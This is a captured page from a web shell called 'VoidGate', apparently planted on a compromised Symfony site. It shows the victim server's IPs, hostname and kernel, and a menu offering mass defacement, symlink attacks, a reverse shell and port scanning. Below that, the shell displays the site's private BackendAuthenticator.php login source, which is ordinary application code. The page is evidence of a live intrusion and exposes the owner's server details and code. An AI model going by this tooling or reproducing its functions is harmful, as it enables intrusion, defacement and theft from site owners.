ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: BackendAuthenticator.php.tar
home/logercm/dev.loger.cm/src/Security/BackendAuthenticator.php 0000644 00000023015 15120222421 0020570 0 ustar 00 <?php namespace App\Security; use App\Entity\User; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bundle\SecurityBundle\Security\UserAuthenticator; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface; use Symfony\Component\Security\Core\Exception\AuthenticationException; use Symfony\Component\Security\Core\Exception\BadCredentialsException; use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException; use Symfony\Component\Security\Core\Exception\InvalidCsrfTokenException; use Symfony\Component\Security\Core\Security; use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; use Symfony\Component\Security\Core\User\UserInterface; use Symfony\Component\Security\Core\User\UserProviderInterface; use Symfony\Component\Security\Csrf\CsrfToken; use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface; use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator; use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface; use Symfony\Component\Security\Http\Authentication\AuthenticationUtils; use Symfony\Component\Security\Http\Authentication\UserAuthenticatorInterface; use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator; use Symfony\Component\Security\Http\Authenticator\InteractiveAuthenticatorInterface; use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge; use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials; use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport; use Symfony\Component\Security\Http\Event\AuthenticationTokenCreatedEvent; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Symfony\Component\Security\Http\Event\LoginSuccessEvent; use Symfony\Component\Security\Http\SecurityEvents; use Symfony\Component\Security\Http\Util\TargetPathTrait; use Symfony\Component\Security\Http\Authenticator\Passport\Passport; /** * @method string hashPassword(PasswordAuthenticatedUserInterface $user, string $plainPassword) * @method bool isPasswordValid(PasswordAuthenticatedUserInterface $user, string $plainPassword) * @method bool needsRehash(PasswordAuthenticatedUserInterface $user) */ class BackendAuthenticator extends AbstractAuthenticator implements UserPasswordHasherInterface { use TargetPathTrait; public const LOGIN_ROUTE = 'app_login'; public const ADMIN_ROUTE = 'app_admin'; private $entityManager; private $urlGenerator; private $csrfTokenManager; private $passwordEncoder; private $authenticator; private $eventDispatcher; private $userProvider; public function __construct(TokenStorageInterface $tokenStorage, EventDispatcherInterface $eventDispatcher, UserProviderInterface $userProvider, EntityManagerInterface $entityManager, UrlGeneratorInterface $urlGenerator, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordHasherInterface $passwordEncoder) { $this->tokenStorage = $tokenStorage; $this->userProvider = $userProvider; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $entityManager; $this->urlGenerator = $urlGenerator; $this->csrfTokenManager = $csrfTokenManager; $this->passwordEncoder = $passwordEncoder; } public function supports(Request $request): bool { //dd("supports"); if(self::LOGIN_ROUTE === $request->attributes->get('_route') && $request->isMethod('POST')){ return true; } return false; } public function getCredentials(Request $request) { $credentials = [ 'email' => $request->request->get('email'), 'password' => $request->request->get('password'), 'csrf_token' => $request->request->get('csrf_token'), ]; $request->getSession()->set( Security::LAST_USERNAME, $credentials['email'] ); return $credentials; } public function getUser($credentials, UserProviderInterface $userProvider): ?User { $token = new CsrfToken('authenticate', $credentials['csrf_token']); if (!$this->csrfTokenManager->isTokenValid($token)) { throw new InvalidCsrfTokenException(); } $user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => $credentials['email']]); if (!$user) { // fail authentication with a custom error throw new CustomUserMessageAuthenticationException('Email could not be found.'); } return $user; } public function checkCredentials($credentials, UserInterface $user): bool { return $this->passwordEncoder->isPasswordValid($user, $credentials['password']); } /** * Used to upgrade (rehash) the user's password automatically over time. */ public function getPassword($credentials): ?string { return $credentials['password']; } public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey): ?Response { $password = $request->request->get('password'); $username = $request->request->get('email'); $csrfToken = $request->request->get('csrf_token'); $passport= new Passport( new UserBadge($username), new PasswordCredentials($password), [new CsrfTokenBadge('authenticate', $csrfToken)] ); $firewallName = 'main'; $user = $this->entityManager->getRepository(User::class)->findOneBy(['email' =>$username]); /** @var TokenInterface $token */ $token = $this->eventDispatcher->dispatch( new AuthenticationTokenCreatedEvent( $token, $passport) )->getAuthenticatedToken(); /** @see AuthenticatorManager::handleAuthenticationSuccess() */ $this->tokenStorage->setToken($token); $loginEvent = new InteractiveLoginEvent($request, $token); $this->eventDispatcher->dispatch($loginEvent, SecurityEvents::INTERACTIVE_LOGIN); $redirectTo= new RedirectResponse($this->getAdminUrl()); $session = $request->getSession(); $session->set("user",$user); $_SESSION["user"]=$user; $_SESSION["userId"]=$user->getId(); $this->eventDispatcher->dispatch( $loginSuccessEvent = new LoginSuccessEvent( $this, $passport, $token, $request, $redirectTo, $firewallName )); return $redirectTo; } protected function getLoginUrl(): string { return $this->urlGenerator->generate(self::LOGIN_ROUTE); } public function getAdminUrl(): string { return $this->urlGenerator->generate(self::ADMIN_ROUTE); } public function authenticate(Request $request): Passport { $password = $request->request->get('password'); $username = $request->request->get('email'); $csrfToken = $request->request->get('csrf_token'); // ... validate no parameter is empty new SelfValidatingPassport(new UserBadge($username)); $passport= new Passport( new UserBadge($username,[$this->userProvider, 'loadUserByIdentifier']), new PasswordCredentials($password), [new CsrfTokenBadge('authenticate', $csrfToken)] ); return $passport; } public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response { // TODO: Implement onAuthenticationFailure() method. $request->getSession()->set(Security::AUTHENTICATION_ERROR, $exception); $lastUsername = $request->request->get('email'); if (in_array('e-mail', $exception->getMessageData([]))) { $request->getSession()->getFlashBag()->add('error', 'Adresse e-mail invalide!'); } elseif (in_array('active', $exception->getMessageData([]))) { $request->getSession()->getFlashBag()->add('error', 'Votre compte n\'est pas activé!'); } else { $request->getSession()->getFlashBag()->add('error', 'Le mot de passe renseigné n\'est pas le bon!'); } return new RedirectResponse( $this->getLoginUrl() ); } public function __call($name, $arguments) { // TODO: Implement @method string hashPassword(PasswordAuthenticatedUserInterface $user, string $plainPassword) // TODO: Implement @method bool isPasswordValid(PasswordAuthenticatedUserInterface $user, string $plainPassword) // TODO: Implement @method bool needsRehash(PasswordAuthenticatedUserInterface $user) } }
Coded With 💗 by
0x6ick